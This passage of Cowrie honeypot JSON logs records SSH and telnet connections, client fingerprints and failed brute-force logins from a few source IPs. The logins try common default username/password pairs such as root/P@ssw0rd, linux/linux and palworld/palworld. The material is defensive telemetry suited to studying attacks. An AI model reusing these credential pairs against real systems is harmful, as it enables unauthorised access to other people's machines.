-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:17.908803Z","src_ip":"176.65.132.254","session":"d360469ed5af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd","message":"login attempt [root/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:18.157726Z","src_ip":"176.65.132.254","session":"d360469ed5af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:19.342860Z","src_ip":"176.65.132.254","session":"d360469ed5af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":54356,"dst_ip":"10.17.0.5","dst_port":22,"session":"aba090dbec71","protocol":"ssh","message":"New connection: 176.65.132.254:54356 (10.17.0.5:22) [session: aba090dbec71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:22.372301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:22.377554Z","src_ip":"176.65.132.254","session":"aba090dbec71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:22.460038Z","src_ip":"176.65.132.254","session":"aba090dbec71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux","message":"login attempt [linux/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:22.766118Z","src_ip":"176.65.132.254","session":"aba090dbec71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":54874,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e405a1f750b","protocol":"telnet","message":"New connection: 134.209.8.29:54874 (159.203.135.109:23) [session: 4e405a1f750b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:23.016945Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:23.856242Z","src_ip":"176.65.132.254","session":"aba090dbec71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":54884,"dst_ip":"159.203.135.109","dst_port":23,"session":"06d2a6f67792","protocol":"telnet","message":"New connection: 134.209.8.29:54884 (159.203.135.109:23) [session: 06d2a6f67792]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:27.551454Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":54372,"dst_ip":"10.17.0.5","dst_port":22,"session":"8974696a4b3c","protocol":"ssh","message":"New connection: 176.65.132.254:54372 (10.17.0.5:22) [session: 8974696a4b3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:28.043917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:28.049770Z","src_ip":"176.65.132.254","session":"8974696a4b3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:28.152395Z","src_ip":"176.65.132.254","session":"8974696a4b3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hzx","password":"hzx","message":"login attempt [hzx/hzx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:28.552348Z","src_ip":"176.65.132.254","session":"8974696a4b3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.254.166.101","src_port":59592,"dst_ip":"159.203.135.109","dst_port":22,"session":"9dfded69d69d","protocol":"ssh","message":"New connection: 205.254.166.101:59592 (159.203.135.109:22) [session: 9dfded69d69d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:28.908450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:28.914509Z","src_ip":"205.254.166.101","session":"9dfded69d69d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:29.125291Z","src_ip":"205.254.166.101","session":"9dfded69d69d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":54900,"dst_ip":"159.203.135.109","dst_port":23,"session":"2dbfeed64110","protocol":"telnet","message":"New connection: 134.209.8.29:54900 (159.203.135.109:23) [session: 2dbfeed64110]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:29.852088Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":54904,"dst_ip":"159.203.135.109","dst_port":23,"session":"3eec8916ff49","protocol":"telnet","message":"New connection: 134.209.8.29:54904 (159.203.135.109:23) [session: 3eec8916ff49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:29.859619Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"4321","message":"login attempt [user/4321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:29.992358Z","src_ip":"205.254.166.101","session":"9dfded69d69d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:30.255744Z","src_ip":"176.65.132.254","session":"8974696a4b3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:31.204058Z","src_ip":"205.254.166.101","session":"9dfded69d69d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":54390,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a7729675742","protocol":"ssh","message":"New connection: 176.65.132.254:54390 (10.17.0.5:22) [session: 8a7729675742]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:31.361195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:31.366340Z","src_ip":"176.65.132.254","session":"8a7729675742","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:31.452625Z","src_ip":"176.65.132.254","session":"8a7729675742","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssword","message":"login attempt [root/p@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:31.980392Z","src_ip":"176.65.132.254","session":"8a7729675742","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:33.064985Z","src_ip":"176.65.132.254","session":"8a7729675742","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":56244,"dst_ip":"159.203.135.109","dst_port":23,"session":"b24b8a5f333f","protocol":"telnet","message":"New connection: 134.209.8.29:56244 (159.203.135.109:23) [session: b24b8a5f333f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:35.165299Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":56256,"dst_ip":"159.203.135.109","dst_port":23,"session":"1eea557d75f2","protocol":"telnet","message":"New connection: 134.209.8.29:56256 (159.203.135.109:23) [session: 1eea557d75f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:35.722670Z"}
{"eventid":"cowrie.session.closed","duration":41.79677438735962,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:35.941940Z","src_ip":"134.209.8.29","session":"256a67e1760c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":36002,"dst_ip":"10.17.0.5","dst_port":22,"session":"375331e5695d","protocol":"ssh","message":"New connection: 176.65.132.254:36002 (10.17.0.5:22) [session: 375331e5695d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:36.220983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:36.226193Z","src_ip":"176.65.132.254","session":"375331e5695d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:36.316492Z","src_ip":"176.65.132.254","session":"375331e5695d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"null","message":"login attempt [root/null] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:36.564541Z","src_ip":"176.65.132.254","session":"375331e5695d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:37.651677Z","src_ip":"176.65.132.254","session":"375331e5695d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":9.401176452636719,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:39.260697Z","src_ip":"134.209.8.29","session":"3eec8916ff49","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":36004,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ed6795764aa","protocol":"ssh","message":"New connection: 176.65.132.254:36004 (10.17.0.5:22) [session: 5ed6795764aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:40.864610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:40.869601Z","src_ip":"176.65.132.254","session":"5ed6795764aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:40.951623Z","src_ip":"176.65.132.254","session":"5ed6795764aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"palworld","password":"palworld","message":"login attempt [palworld/palworld] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:41.244633Z","src_ip":"176.65.132.254","session":"5ed6795764aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:42.642465Z","src_ip":"176.65.132.254","session":"5ed6795764aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":49120,"dst_ip":"10.17.0.5","dst_port":22,"session":"82dab2c2b936","protocol":"ssh","message":"New connection: 176.65.132.254:49120 (10.17.0.5:22) [session: 82dab2c2b936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:45.457446Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:45.462345Z","src_ip":"176.65.132.254","session":"82dab2c2b936","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:45.545303Z","src_ip":"176.65.132.254","session":"82dab2c2b936","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.069964170455933,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:45.792503Z","src_ip":"134.209.8.29","session":"1eea557d75f2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"qiyuesuo","password":"qiyuesuo","message":"login attempt [qiyuesuo/qiyuesuo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:45.946011Z","src_ip":"176.65.132.254","session":"82dab2c2b936","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.10913825035095,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:46.902692Z","src_ip":"134.209.8.29","session":"7595e57c5352","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:47.064950Z","src_ip":"176.65.132.254","session":"82dab2c2b936","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":49124,"dst_ip":"10.17.0.5","dst_port":22,"session":"d220319e4aed","protocol":"ssh","message":"New connection: 176.65.132.254:49124 (10.17.0.5:22) [session: d220319e4aed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:49.941128Z"}
